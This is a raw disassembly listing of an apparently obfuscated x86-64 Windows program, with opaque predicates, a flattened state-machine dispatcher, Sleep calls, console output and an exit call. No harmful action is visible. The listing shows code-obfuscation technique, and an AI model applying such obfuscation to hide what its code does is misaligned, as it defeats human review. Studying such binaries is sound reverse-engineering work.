mov eax, dword [0x1402b5ec8]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0xe803580
cmove eax, r12d
cmp dword [0x1402b5ecc], 0xa
cmovge eax, r15d
setl dl
xor dl, cl
cmovne eax, r12d
jmp 0x14004be6b
mov eax, 0xa4b1f74b
jmp 0x14004be6b
cmp eax, 0xa4b1f74b
jne 0x14004be6b
mov rax, qword [rbp + 0x1a0]
mov rsp, qword [rbp + 0xe8]
sub rsp, 0x20
mov rcx, qword [rbp + 0xf8]
mov rdx, qword [rbp + 0x48]
call fcn.1400b4ca0
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
call fcn.140003ad0
add rsp, 0x20
mov eax, dword [0x1402b5e08]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5e0c], 0xa
setl cl
test cl, al
jne 0x14004c539
xor cl, al
jne 0x14004c539
jmp 0x14004c537
sub rsp, 0x20
mov rcx, qword [rbp + 0x98]
call fcn.1400036d0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, qword [rbp + 0xb0]
call section..text
add rsp, 0x20
mov eax, dword [0x1402b5e08]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5e0c], 0xa
setl cl
test cl, al
jne 0x14004c5ae
xor cl, al
jne 0x14004c5ae
jmp 0x14004c5ac
sub rsp, 0x20
mov rcx, rsi
mov rdx, qword [rbp + 0xb0]
call fcn.140002980
add rsp, 0x20
mov ecx, dword [0x1402b5e08]
lea edx, [rcx - 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete cl
cmp dword [0x1402b5e0c], 0xa
setl dl
test dl, cl
jne 0x14004c5f0
xor dl, cl
jne 0x14004c5f0
jmp 0x14004c5ee
sub rsp, 0x20
mov rcx, rax
call fcn.140002e40
add rsp, 0x20
mov qword [rbp + 0xf8], rax
mov r8d, 0x99b85fc1
mov r11d, 0x7f643fbb
mov esi, 0xdb8e0749
mov ebx, 0xc170ba1e
mov r14d, 0xe7653d71
mov r15d, 0xb2c5ea89
mov r12d, 0xde0afea4
mov edx, 0x81bb04b9
mov eax, 0x8d973b2f
mov ecx, 0x751102ed
jmp 0x14004c646
cmp r8d, 0xcccf1ed2
jle 0x14004d7ca
cmp r8d, 0x254318de
jg 0x14004d7fc
cmp r8d, 0x99b85fc0
jle 0x14004e948
sub rsp, 0x20
mov rcx, rax
call fcn.140003ad0
add rsp, 0x20
mov eax, dword [0x1402b5e08]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
setne al
sete dl
cmp dword [0x1402b5e0c], 0xa
setge cl
setl r8b
xor r8b, dl
jne 0x1400b29e8
or cl, al
jne 0x1400b2a25
jmp 0x1400b29e8
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
sub rsp, 0x20
lea rcx, [rbp + 0x148]
call fcn.1400036d0
add rsp, 0x20
mov eax, dword [0x1402b5e08]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5e0c], 0xa
setl cl
test cl, al
jne 0x1400b2a3b
xor cl, al
jne 0x1400b2a3b
sub rsp, 0x20
lea rcx, [rbp + 0x148]
call fcn.1400036d0
add rsp, 0x20
jmp 0x1400b29e8
sub rsp, 0x20
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3